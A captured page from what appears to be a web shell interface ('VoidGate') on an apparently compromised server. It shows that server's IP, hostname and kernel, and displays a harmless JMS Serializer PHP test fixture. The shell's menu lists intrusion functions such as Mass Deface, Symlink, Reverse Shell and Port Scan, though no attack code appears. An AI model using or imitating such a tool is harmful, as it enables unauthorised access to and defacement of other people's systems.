ヤミRoot VoidGate
User / IP
:
216.73.216.211
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer
/
tests
/
Fixtures
/
Viewing: ObjectWithVirtualXmlProperties.php
<?php namespace JMS\Serializer\Tests\Fixtures; use JMS\Serializer\Annotation\Groups; use JMS\Serializer\Annotation\SerializedName; use JMS\Serializer\Annotation\Since; use JMS\Serializer\Annotation\Until; use JMS\Serializer\Annotation\VirtualProperty; use JMS\Serializer\Annotation\XmlAttribute; use JMS\Serializer\Annotation\XmlList; use JMS\Serializer\Annotation\XmlMap; use JMS\Serializer\Annotation\XmlValue; class ObjectWithVirtualXmlProperties { /** * * @VirtualProperty * @SerializedName("foo") * @Groups({"attributes"}) * @XmlAttribute */ public function getVirualXmlAttributeValue() { return 'bar'; } /** * * @VirtualProperty * @SerializedName("xml-value") * @Groups({"values"}) * @XmlValue */ public function getVirualXmlValue() { return 'xml-value'; } /** * * @VirtualProperty * @SerializedName("list") * @Groups({"list"}) * @XmlList(inline = true, entry = "val") */ public function getVirualXmlList() { return array('One', 'Two'); } /** * * @VirtualProperty * @SerializedName("map") * @Groups({"map"}) * @XmlMap(keyAttribute = "key") */ public function getVirualXmlMap() { return array( 'key-one' => 'One', 'key-two' => 'Two' ); } /** * * @VirtualProperty * @SerializedName("low") * @Groups({"versions"}) * @Until("8") */ public function getVirualLowValue() { return 1; } /** * @VirtualProperty * @SerializedName("hight") * @Groups({"versions"}) * @Since("8") */ public function getVirualHighValue() { return 8; } }
Coded With 💗 by
0x6ick